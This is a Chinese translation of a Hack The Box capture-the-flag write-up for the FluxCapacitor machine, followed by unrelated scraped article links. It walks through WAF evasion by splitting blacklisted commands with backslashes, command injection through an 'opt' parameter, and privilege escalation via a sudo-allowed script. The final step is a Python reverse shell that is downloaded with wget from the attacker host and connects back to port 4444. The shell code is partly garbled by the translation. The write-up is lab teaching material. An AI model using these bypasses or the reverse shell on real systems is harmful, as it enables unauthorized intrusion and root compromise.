{黑掉这个盒子} \\ FluxCapacitor Write-Up
源标题:{Hack the Box} \ FluxCapacitor Write-Up
标签(空格分隔): CTF
好孩子们。今天我们将学习耐心和情绪管理的优点。并且也许有一些关于绕过WEB应用防火墙的东西。
老实说,这是一个令人愤怒的好盒子。我学习了一个主题的分支但我并没有真的深入研究。
不管怎样,我们继续吧。
初始枚举
开始运行Nmap开始扫描FluxCapacitor。让我们看看我们获得了什么。
root@kali:~# nmap -sC -sV -o nmap.log 10.10.10.69
Starting Nmap 7.60 ( https://nmap.org ) at 2018-04-13 13:31 EDT
Nmap scan report for 10.10.10.69
Host is up (0.14s latency).
PORT STATE SERVICE VERSION
80/tcp open http SuperWAF
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.32 seconds
非常棒。只有一个web服务。选择一个浏览器继续浏览。(注意在“版本”之下,它说是superWAF。我们稍后会谈到这一点)。
节点1似乎已经经历了一些糟糕的事情。
除了一个神秘的状态消息之外,这里似乎没有什么进展。我们来看看源代码吧。
你的使命:不惜一切代价保护节点1
看那边的评论。太奇怪了。让我们到这个URL去看看吧。
优秀。这是一个死胡同。可能除了在底部的那条线。我们获得了一个web server的名称和版本。这是联系谷歌搜索技巧的好时机(或者必应,我不确定)。搜索OpenResty站点,查看Github页面,浏览文档,并搜索该版本的任何有趣漏洞。这是一项非常值得学习的有价值技巧。虽然我替你节省一两个小时。但请继续练习这个技巧。
回到枚举
root@kali:~# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.69 -x php,html -t 100 -s 200,204,301,302,307,403
Gobuster v1.2 OJ Reeves (@TheColonial)
[+] Mode : dir
[+] Url/Domain : http://10.10.10.69/
[+] Threads : 100
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Extensions : .php,.html
/index.html (Status: 200)
/sync (Status: 200)
/sync.php (Status: 200)
/sync.html (Status: 200)
/synctoy (Status: 200)
/synctoy.php (Status: 200)
/synctoy.html (Status: 200)
/synching (Status: 200)
/synching.php (Status: 200)
/synching.html (Status: 200)
/sync_scan (Status: 200)
/sync_scan.php (Status: 200)
/sync_scan.html (Status: 200)
/syncbackse (Status: 200)
/syncbackse.php (Status: 200)
/syncbackse.html (Status: 200)
/synch (Status: 200)
/synch.php (Status: 200)
/synch.html (Status: 200)
只是一个预感,但我认为服务器不希望我们知道文件扩展名/sync是什么。
它不会截断过去同步的任何内容。我们可以确认通过在/sync前面增加一串随机字符串。我们仍将获取一个403。但是如果我们移除掉“sync”部分,或者在它之前增加字符。我们获得一个404 not found。非常棒。
现在扼杀你的嫉妒,弄清楚为什么服务器不喜欢我们。
让我们打开Wireshark并比较两个来源的HTTP请求,看看我们哪里出错了。再次运行Gobuster并在tun0上运行Wireshark,这是HtB VPN的接口
现在右键单击转到10.10.10.69的任何TCP数据包,然后单击Follow-> TCP Stream。这将为您提供格式良好的HTTP请求,因此您无需学习读取十六进制编码。
GET /43 HTTP/1.1
Host: 10.10.10.69
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
HTTP/1.1 404 Not Found
Date: Sun, 13 May 2018 18:36:33 GMT
Content-Type: text/html
Content-Length: 175
Connection: keep-alive
<html>
<head><title>404 Not Found</title></head>
<body bgcolor="white">
<center><h1>404 Not Found</h1></center>
<hr><center>openresty/1.13.6.1</center>
</body>
</html>
对浏览器执行相同操作。运行wireshark(将界面更改为'any',因为浏览器HTTP请求采用不同的方式),转到Firefox中的/ sync并让我们看看我们得到了什么数据包。
跟随TCP/HTTP流。
GET /sync HTTP/1.1
Host: 10.10.10.69
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
HTTP/1.1 403 Forbidden
Date: Sun, 13 May 2018 18:45:39 GMT
Content-Type: text/html
Content-Length: 175
Connection: keep-alive
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>openresty/1.13.6.1</center>
</body>
</html>
html内容本身并不重要,因为它总是可以变化的。同样处理GET请求内容。仔细查看两个请求中的HTTP头并进行比较。
Gobuster:
GET /43 HTTP/1.1
Host: 10.10.10.69
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
Browser (Firefox):
GET /sync HTTP/1.1
Host: 10.10.10.69
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
这是用户代理。一直都知道他身上有什么东西。我们的浏览器因任何原因被列入黑名单。你可以在这里玩一下。它似乎只是在User-Agent中寻找“Mozilla”这个词,并禁止来自它的所有流量。也许它也会将其他浏览器列入黑名单。谁知道呢。但如果您尝试wget或curl来获取网页,它会让您访问通过。
但这并不是十分完美,所以我们将使用Burpsuite代理拦截我们的浏览器请求,修改它,并发送它。
打开BurpSuite。免费版拥有我们需要的一切。
转到顶部的Proxy ->Intercept选项卡,确保已启用拦截。
要让我们的Firefox请求通过Burp,请转到Firefox - >首选项 - >高级 - >网络 - >连接 - >设置。将代理更改为127.0.0.1:8080。这将确保我们发送的任何浏览器请求都通过Burp代理路由,我们可以在将其发送到预定目的地之前查看和修改HTTP请求。
请考虑下载FoxyProxy以自动为您执行此操作。这样可以节省10秒钟。然后,如果你每天增加10秒的空闲时间,你可以花他们梦想你的生活会是什么样子。真的很棒。
浏览到/sync。您的浏览器将挂起。没关系。不要惊慌。转到Burp,你会(希望)看到原始的HTTP请求。
GET /sync HTTP/1.1
Host: 10.10.10.69
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
删除当前的用户代理并将其替换为......我猜测的任何东西。只要它的名字中没有Mozilla,你就是上帝。
GET /sync HTTP/1.1
Host: 10.10.10.69
User-Agent: 007
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
现在forward转发请求,转到您的浏览器。
哇。我们得到了时间戳。nice,它让我们过去了,现在怎么办呢?
Waffening
作者:M. Night Shyamalan
由于/sync似乎是唯一的其他页面,我们在这试图找出到底怎么回事。让我们回到SuperWaf。表明这个网站上是有一些web应用防火墙的。Google搜索SuperWAF并没有发现任何东西,所以我们会进行黑盒测试。
首先,WAF是反向代理。它充当服务器和客户端之间的中介,试图保护Web服务器免受针对错误配置和安全漏洞的攻击。它试图过滤掉常见的攻击尝试,如跨站点脚本(XSS),SQL注入和远程执行代码(RCE)。
跨站点脚本在这里不会对我们有任何帮助,因为它需要其他用户。SQL注入似乎是一个很大的禁忌,因为数据似乎没有存储在任何地方。我们似乎只是从脚本中获取输出,告诉我们时间。是什么语言呢?没有线索。通过做一些有根据的猜测,我们可以利用某种RCE。waf在这是有原因的。
我们现在需要打一个比喻,这就相当于我们的头在砖墙上反复撞,并希望我们能找到一些松散的砖块,并把砖墙整个拆掉。只是我们在走过废墟时跌倒,绊倒在砖碎片,反复拉扯,直到我们的裤子被扯掉。
回到Burp,如果你还没有关闭它,请转到代理 - > HTTP历史记录,找到我们发送到/ sync的请求。单击它,然后按ctrl-r将其发送到Repeater。转到Repeater选项卡(仍在Burp中),并确保User-Agent没有Mozilla。
现在我们可以反复修改和发送HTTP请求。
在这一点上,我们可以做出有根据的猜测/ sync可能会有一个参数。让我们测试一下这个假设。
如果它可以采用参数,并且有一个WAF,那么很可能是一种执行代码的方法。同步后尝试一些参数,你会看到你得到相同的时间戳。没有什么变化。
这是模糊测试器派上用场的地方。Kali linux已经安装了WFuzz,所以让我们使用它。它的作用是使用字典来强制URL,直到我们看到任何异常。我们没有太多选择可以继续,这是我们唯一的选择。在启动WFuzz之前,请检查一下。SecLists有一堆真正有用的模板用于模糊测试。现在好好的检查清单库并将其保存在好的地方。
启动WFuzz并列出其选项。
root@kali:~# wfuzz -h
********************************************************
* Wfuzz 2.2.9 - The Web Fuzzer *
* *
* Version up to 1.4c coded by: *
* Christian Martorella (cmartorella@edge-security.com) *
* Carlos del ojo (deepbit@gmail.com) *
* *
* Version 1.4d to 2.2.9 coded by: *
* Xavier Mendez (xmendez@edge-security.com) *
********************************************************
Usage: wfuzz [options] -z payload,params <url>
FUZZ, ..., FUZnZ wherever you put these keywords wfuzz will replace them with the values of the specified payload.
FUZZ{baseline_value} FUZZ will be replaced by baseline_value. It will be the first request performed and could be used as a base for filtering.
Options:
-h : This help
--help : Advanced help
--version : Wfuzz version details
-e <type> : List of available encoders/payloads/iterators/printers/scripts
-c : Output with colors
-v : Verbose information.
--interact : (beta) If selected,all key presses are captured. This allows you to interact with the program.
-p addr : Use Proxy in format ip:port:type. Repeat option for using various proxies.
Where type could be SOCKS4,SOCKS5 or HTTP if omitted.
-t N : Specify the number of concurrent connections (10 default)
-s N : Specify time delay between requests (0 default)
-R depth : Recursive path discovery being depth the maximum recursion level.
-L, --follow : Follow HTTP redirections
-u url : Specify a URL for the request.
-z payload : Specify a payload for each FUZZ keyword used in the form of type,parameters,encoder.
A list of encoders can be used, ie. md5-sha1. Encoders can be chained, ie. md5@sha1.
Encoders category can be used. ie. url
Use help as a payload to show payload plugin's details (you can filter using --slice)
-w wordlist : Specify a wordlist file (alias for -z file,wordlist).
-V alltype : All parameters bruteforcing (allvars and allpost). No need for FUZZ keyword.
-X method : Specify an HTTP method for the request, ie. HEAD or FUZZ
-b cookie : Specify a cookie for the requests
-d postdata : Use post data (ex: "id=FUZZ&catalogue=1")
-H header : Use header (ex:"Cookie:id=1312321&user=FUZZ")
--basic/ntlm/digest auth : in format "user:pass" or "FUZZ:FUZZ" or "domain\FUZ2Z:FUZZ"
--hc/hl/hw/hh N[,N]+ : Hide responses with the specified code/lines/words/chars (Use BBB for taking values from baseline)
--sc/sl/sw/sh N[,N]+ : Show responses with the specified code/lines/words/chars (Use BBB for taking values from baseline)
--ss/hs regex : Show/Hide responses with the specified regex within the content
-u,-w和--hh会在这里派上用场。-u和-w分别用于URL和wordlist。但最后一个是什么呢?查看wfuzz命令,你会看到 --hh用于隐藏具有特定字符数的响应。
如果你回到Burp并随便访问/sync,你会注意到响应Content-Length在所有有效响应中都保持不变。19个字符。我们可以将此作为常量来帮助识别任何异常。
现在让我们wfuzz这个坏男孩吧。
root@kali:~# wfuzz -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt -u http://10.10.10.69/sync?FUZZ=ls -c --hh 19 | tee fuzz.log
********************************************************
* Wfuzz 2.2.9 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.69/sync?FUZZ=ls
Total requests: 2588
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000753: C=403 7 L 10 W 175 Ch "opt"
Total time: 45.04352
Processed Requests: 2588
Filtered Requests: 2587
Requests/sec.: 57.45553
当wfuzz遍历我们给它的字典时,URL中的FUZZ被字典中其他单词替换。此外,我们可以做出另一个有根据的猜测,并添加'ls'作为参数值。我们的想法是:我们的目标是某种RCE,因此我们想要触发一个目录列表的成功响应,或者让WAF阻止我们尝试这样做。内容长度小于19个字符的任何响应都会在结果中被过滤掉。
哎呀。我们找到了一个有效的参数名称。如果我们使用Burp添加'opt'参数,我们可以再次看到禁止页面。好极了。
现在扯掉你的胡子。我们需要猜测这个RCE向量的限制是什么。首先再次启动wfuzz,看看哪些特殊字符被WAF过滤和阻止。
root@kali:~/Documents/hack_the_box/work_in_progress/fluxcapacitor# wfuzz -w /usr/share/wordlists/SecLists/Fuzzing/special-chars.txt -u http://10.10.10.69/sync?opt=FUZZ -c | tee schar_fuzz.log
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.2.9 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.69/sync?opt=FUZZ
Total requests: 32
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000029: C=200 1 L 0 W 1 Ch "'"
000030: C=200 2 L 1 W 19 Ch """
000031: C=403 7 L 10 W 175 Ch "<"
000032: C=403 7 L 10 W 175 Ch ">"
000002: C=200 2 L 1 W 19 Ch "!"
000003: C=200 2 L 1 W 19 Ch "@"
000001: C=200 2 L 1 W 19 Ch "~"
000004: C=200 2 L 1 W 19 Ch "#"
000005: C=403 7 L 10 W 175 Ch "$"
000006: C=200 2 L 1 W 19 Ch "%"
000007: C=200 2 L 1 W 19 Ch "^"
000008: C=200 2 L 1 W 19 Ch "&"
000009: C=403 7 L 10 W 175 Ch "*"
000010: C=403 7 L 10 W 175 Ch "("
000011: C=403 7 L 10 W 175 Ch ")"
000012: C=200 2 L 1 W 19 Ch "_"
000013: C=200 2 L 1 W 19 Ch "_"
000014: C=200 2 L 1 W 19 Ch "+"
000015: C=200 2 L 1 W 19 Ch "="
000016: C=200 2 L 1 W 19 Ch "{"
000017: C=200 2 L 1 W 19 Ch "}"
000018: C=200 2 L 1 W 19 Ch "]"
000019: C=200 2 L 1 W 19 Ch "["
000020: C=403 7 L 10 W 175 Ch "|"
000021: C=200 2 L 1 W 19 Ch "\"
000022: C=403 7 L 10 W 175 Ch "`"
000023: C=200 2 L 1 W 19 Ch ","
000024: C=200 2 L 1 W 19 Ch "."
000025: C=200 2 L 1 W 19 Ch "/"
000026: C=200 2 L 1 W 19 Ch "?"
000027: C=403 7 L 10 W 175 Ch ";"
000028: C=200 2 L 1 W 19 Ch ":"
Total time: 0.772816
Processed Requests: 32
Filtered Requests: 0
Requests/sec.: 41.40696
两件事情。首先,WAF不喜欢以下特殊字符:`()* $ <>。这里的第二个奇怪的事是单引号(')给了我们一个字符的响应,而每个其他有效的字符给我们通常的19个字符。
我们burp看看。
这是新的。时间戳消失了,但我们仍然得到200响应。让我们尝试使用我们尝试过的单引号和上一个命令(ls)。在这一点上,我建议花一些时间来阅读有关Web防火墙的规避技术。我在这里提供了两个链接(第1部分和第2部分),并在本文末尾提供了由这个盒子的创建者撰写的文章。他们深入讨论了WAF的逃避行为,并真正帮助我制定了一个攻击计划,以确定如何继续向前进。一定要关注他并点开这些文章。他们都太棒了。现在我明白了,我接下来花了5个小时来弄清楚如何让这个该死的东西让我通过。
我做到了。
完成这项工作需要三件事。
首先,我们在第一个单引号后需要一个空格。猜测,我会说单引号截断前一个命令然后我们需要一个空格来执行我们注入的那个。
其次,我们必须将'ls'分开。在's'之前加上'\'对bash没有任何影响,因为它显然是一个bash脚本。它会忽略它。值得庆幸的是,WAF只能检测带有连续字符的黑名单命令。
- 第三,我们需要另一个单引号来结束我们添加的第二个命令。
我们最终有某种命令执行。从这里开始应该非常简单了。
来到突破口
我们首先弄清楚flux所用的用户。
非常棒!man。太棒啦!
在真正做任何事情之前,我们需要升级我们的特权,因为FluxCapacitor拒绝承认我们的存在。我通常首先尝试'sudo -l',因为它包含最多东西。它告诉您允许使用其他用户的权限运行哪些命令。
这是我们从“s \ udo -l”返回的内容('u'后面的正斜杠取消了对'sudo'和'su'的检测,两者都是有效的bash命令):
Matching Defaults entries for nobody on fluxcapacitor:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nobody may run the following commands on fluxcapacitor:
(ALL) ALL
(root) NOPASSWD: /home/themiddle/.monit
(ALL)ALL并没有真正帮助我们,因为我们需要密码来sudo作为其他用户。第二个条目是我们正在寻找的。它告诉我们,我们可以以root身份运行'/home/themiddle/.monit',而无需输入root密码。必须准确地输入该路径才能使其工作。你不能去那个目录并输入'sudo .monit'。它只会询问root密码。我们去看看它包含什么。
输入'ca\t/home/themiddle/.monit'作为'opt'值,我们得到:
#!/bin/bash
if [ "$1" == "cmd" ]; then
echo "Trying to execute ${2}"
CMD=$(echo -n ${2} | base64 -d)
bash -c "$CMD"
fi
它接受两个参数,如果第一个参数是“cmd”,那么它base64解码第二个参数,然后在bash中运行它。完美。我们现在可以在这里以root身份运行任何命令。从这里开始,我们可能只是‘cat’到用户和root的标志,但是用反弹shell会更好,如果我必须输入另一个随机的反斜杆,弹出一个小饼干。
反弹shell是个适合的选择,因为之前许多字符都被过滤了。我们可以即兴发挥。
我们在这里有很多选择。我们回到Burp并尝试寻找有用的东西,系统似乎已经安装了Python。
Python反向shell:
import socket,subprocess,os
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((“10.10.14.2”,4444))#CHANGE这个
os.dup2(s.fileno(),0)
os.dup2(s.fileno) (),1)
os.dup2(s.fileno(),2)
p = subprocess.call([“/ bin / sh”,“ - i”])
将上述代码放入本地计算机上的a.py文件中,并确保将IP地址更改为您自己的IP地址。它将在ifconfig中的tun0接口下。选择你的端口。它们十分重要。通常使用RCE,我们可以直接输入python代码,但由于WAF中有许多不良字符,所以我们不能。我们可以做的是将文件上传到盒子中并从那里运行它。
使用Python SimpleHTTPServer在本地计算机上启动服务器,确保您知道刚刚创建的python文件的相对路径。它是Python3中的标准,因此如果您没有它,只需在线下载Python文件即可。
root@kali:~# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
由于'.monit'base64解码了我们想要运行的命令,让我们首先在我们的本地机器上编码。
root@kali:~# echo "wget 10.10.14.2/shell.py -P /tmp" | base64
d2dldCAxMC4xMC4xNC4yL3NoZWxsLnB5IC1QIC90bXAK
复制base64然后,在Burp中,让我们通过.monit运行它。(我在十六进制编码中的每个字符前都加了一个反斜杠,因为那里的东西让WAF尖叫,而且没有人(嘿)有时间弄清楚这一点)。
Python服务器:
root@kali:~/Documents/hack_the_box/work_in_progress/fluxcapacitor# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.69 - - [14/May/2018 14:52:11] "GET /shell.py HTTP/1.1" 200 -
Burp:
成功上传。
启动netcat监听器以获取shell。
root@kali:~# nc -lnvp 4444
listening on [any] 4444 ...
现在base64编码'python3 /tmp/shell.py'并在Burp中使用.monit运行它。我们需要显式输入python3,因为我没有在'/etc'中看到python- > python3的任何符号链接 。
root@kali:~# nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.69] 35004
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# cat /home/FluxCapacitorInc/user.txt /root/root.txt
uSer_FlAg_tHaT_i_w0nt_sh0W_h3R3
n0T_th3_r3al_r00t_fl4g
#
上天啦~
WAF绕过链接:
谢谢theMiddle制作的一个很棒的盒子!一定要给他一个关注。
如果您发现这些信息,请留意更多的报道。您可以在Twitter上关注我的最新消息。
快乐的黑客!
作者:Oneeb Malik
翻译:i春秋翻译小组-海绵体VS括约肌
翻译来源:https://medium.com/secjuice/hack-the-box-fluxcapacitor-write-up-863190e4828e
大家有任何问题可以提问,更多文章可到i春秋论坛阅读哟~
{黑掉这个盒子} \\ FluxCapacitor Write-Up的更多相关文章
- 从“黑掉Github”学Web安全开发
Egor Homakov(Twitter: @homakov 个人网站: EgorHomakov.com)是一个Web安全的布道士,他这两天把github给黑了,并给github报了5个安全方面的bu ...
- Docker实战 | 第四篇:Docker启用TLS加密解决暴露2375端口引发的安全漏洞,被黑掉三台云主机的教训总结
一. 前言 在之前的文章中 IDEA集成Docker插件实现一键自动打包部署微服务项目,其中开放了服务器2375端口监听,此做法却引发出来一个安全问题,在上篇文章评论也有好心的童鞋提示,但自己心存侥幸 ...
- 黑客长期摇号不中"黑"掉北京小客车摇号网
新闻链接:http://www.2cto.com/News/201310/248936.html 新闻时间:2013-10-11 新闻正文: 为发泄长期摇号不中的不满,同时也为自己研发的软件打广告,硕 ...
- android xml 布局错误(黑掉了)Missing styles. Is the correct theme chosen for this layout?
发现在调整页面的时候 ,老是报以下错误,导致无法静态显示ui效果. Missing styles. Is the correct theme chosen for this layout? Use t ...
- 看黑客如何远程黑掉一辆汽车 - BlackHat 2015 黑帽大会总结 day 1
0x00 序 今天是Black Hat 2015第一天,九点钟开场.开场介绍是由Black Hat创始人Jeff Moss讲的.随后又请来了Stanford law school的Jennifer G ...
- 揭秘如何用Python黑掉智能锅炉
引文 去年我买了一个新的冷凝式锅炉(家用取暖产品),于是考虑上面必须有一个“智能恒温器”,而选择也很多,包括Google Nest. Hive(英国天然气公司设计的) 以及伍斯特·博世‘Wave’ ...
- 记Ubuntu开机黑屏及解决过程
之前遇到一次Ubuntu因为失误卸载了xinit.xserver的原因,导致开机黑屏无法进入系统,实际上当时是第一次遇到这种情况,因此花了点时间自己摸索,事后想来解决方案还是比较简单的,从目前的观点来 ...
- 黑帽seo基础手法之快照劫持
实际上,楼主曾经是搞安全出身的.当然早期也对黑帽手法多少有些了解,最早08年开始,见证了百度一代又一代的黑帽手法,可谓百花齐放,大神大牛级人物层出不穷,但我想黑帽seo,先不谈其性质好坏,单单就技术本 ...
- SEO黑页以及门页框架和JS跳转实现方法
在去年大家还在针对第三方博客狂轰乱炸,比如:webs.com.blogspot.com.weebly.com主要是因为本身博客平台的权重,再就是低廉的成本,主需要注册,没有域名和服务器的投入.排名也非 ...
随机推荐
- IDEA中,将项目加入maven管理。
在项目上右键->Add Framework Support Choose Maven 生成pom.xml 在<project>下配置国内仓库 <properties>&l ...
- 20-matlab全排列-函数调用
matlab中global的用法 Matlab 中子函数不传参直接调用主函数global变量方法 在一个m文件里要调用一个函数(自定义的),但是我希望这个函数能利用并修改workspace中的变量( ...
- Unity 角色移动贴墙行走
直接贴上代码,旋转角色角度检测碰撞 Vector2 v2Normal = new Vector2(normal.x, normal.y); float fAngle = Vector2.SignedA ...
- OkHttp的get和post请求
OkHttp的get.Post 由于没有看过书籍,不能将理论正确的描述出来,只能根据自己的理解,带大家认识下java开发下的OkHttp的get和post两种请求方式. 依赖的包为:okio-1.15 ...
- 4、下行短信发送WebService、下行短信发送服务 -功能详细设计 --短信平台
3. 下行短信发送WebService 开发一个WebService,供第三方系统调用,用于发送短信.WebService接收数据后,将信息存储入数据库的短信发送数据表中. WebService参数 ...
- robotframework 连接mysql数据库
1.安装databaselibrary.pymysql 通过cmd命令执行:pip install robotframework-databaselibrary 通过cmd命令执行:pip insta ...
- laraval migration 新增字段或者修改字段的方法
1.进入项目根目录执行artisan命令生成migration文件,可以指定--table和--path参数,会在对应目录下生成migration文件. php artisan make:migrat ...
- React Native不同设备分辨率适配和设计稿尺寸单位px的适配
React Native中使用的尺寸单位是dp(一种基于屏幕密度的抽象单位.在每英寸160点的显示器上,1dp = 1px),而设计师使用的是px, 这两种尺寸如何换算呢? 官方提供了PixelRat ...
- 合适IT人的健身技巧
合适IT人的健身技巧: 健身益寿生活十条 虽然遗传学家说人的平均寿命可长达120岁,但本世纪人的寿命远远达不到这个数字^有鉴于此,国外一批医生.心理学家和营养学家制定了健身益寿生活10条准则,认为如能 ...
- 《Java并发编程的艺术》Java并发机制的底层实现原理(二)
Java并发机制的底层实现原理 1.volatile volatile相当于轻量级的synchronized,在并发编程中保证数据的可见性,使用 valotile 修饰的变量,其内存模型会增加一个 L ...